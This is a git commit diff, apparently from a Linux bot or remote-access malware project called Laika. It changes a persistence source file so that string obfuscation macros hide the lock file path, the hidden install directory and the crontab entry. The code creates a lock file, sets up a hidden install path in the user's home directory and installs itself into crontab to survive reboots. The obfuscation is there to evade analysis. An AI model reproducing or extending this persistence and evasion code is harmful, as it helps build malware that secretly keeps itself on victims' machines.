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added 'LAIKA_OBFUSCATE' cmake option

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- if defined, enables LAIKA_BOX obfuscation for variables
- new macros (LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END), become no-ops if LAIKA_OBFUSCATE is undefined
- TODO: use cmake to automate the generation of lboxconfig.h
This commit is contained in:
CPunch
2022-05-10 20:28:54 -05:00
parent 062d8f1dd6
commit e3a1f51d60
8 changed files with 87 additions and 76 deletions
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17
bot/lin/linpersist.c
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@@ -11,7 +11,6 @@
#include "lsocket.h"
#include "lerror.h"
#include "lbox.h"
#include "lboxconfig.h"
#include "lmem.h"
static int laikaB_lockFile;
@@ -23,7 +22,7 @@ bool laikaB_checkRoot() {
/* mark that laika is currently running */
void laikaB_markRunning() {
LAIKA_BOX_STARTVAR(char*, filePath, LAIKA_BOX_SKID(LAIKA_LIN_LOCK_FILE_KEY), LAIKA_LIN_LOCK_FILE_DATA);
LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_LOCK_FILE);
/* create lock file */
if ((laikaB_lockFile = open(filePath, O_RDWR | O_CREAT, 0666)) == -1)
@@ -34,7 +33,7 @@ void laikaB_markRunning() {
LAIKA_ERROR("Failed to create file lock!\n");
LAIKA_DEBUG("file lock created!\n");
LAIKA_BOX_ENDVAR(filePath);
LAIKA_BOX_SKID_END(filePath);
}
/* unmark that laika is currently running */
@@ -67,8 +66,8 @@ void getInstallPath(char *outPath, int pathSz) {
}
/* create install directory if it doesn't exist */
LAIKA_BOX_STARTVAR(char*, dirPath, LAIKA_BOX_SKID(LAIKA_LIN_INSTALL_DIR_KEY), LAIKA_LIN_INSTALL_DIR_DATA);
LAIKA_BOX_STARTVAR(char*, filePath, LAIKA_BOX_SKID(LAIKA_LIN_INSTALL_FILE_KEY), LAIKA_LIN_INSTALL_FILE_DATA);
LAIKA_BOX_SKID_START(char*, dirPath, LAIKA_LIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_INSTALL_FILE);
snprintf(outPath, pathSz, "%s/%s", home, dirPath);
if (stat(outPath, &st) == -1) {
LAIKA_DEBUG("creating '%s'...\n", outPath);
@@ -76,8 +75,8 @@ void getInstallPath(char *outPath, int pathSz) {
}
snprintf(outPath, pathSz, "%s/%s/%s", home, dirPath, filePath);
LAIKA_BOX_ENDVAR(dirPath);
LAIKA_BOX_ENDVAR(filePath);
LAIKA_BOX_SKID_END(dirPath);
LAIKA_BOX_SKID_END(filePath);
}
bool checkPersistCron(char *path) {
@@ -101,7 +100,7 @@ bool checkPersistCron(char *path) {
}
void tryPersistCron(char *path) {
LAIKA_BOX_STARTVAR(char*, cronCMD, LAIKA_BOX_SKID(LAIKA_LIN_CRONTAB_ENTRY_KEY), LAIKA_LIN_CRONTAB_ENTRY_DATA);
LAIKA_BOX_SKID_START(char*, cronCMD, LAIKA_LIN_CRONTAB_ENTRY);
char cmd[PATH_MAX + 128];
/* should be 'safe enough' */
@@ -112,7 +111,7 @@ void tryPersistCron(char *path) {
LAIKA_ERROR("failed to install '%s' to crontab!\n", path);
LAIKA_DEBUG("Installed '%s' to crontab!\n", path);
LAIKA_BOX_ENDVAR(cronCMD);
LAIKA_BOX_SKID_END(cronCMD);
}
/* try to gain persistance on machine */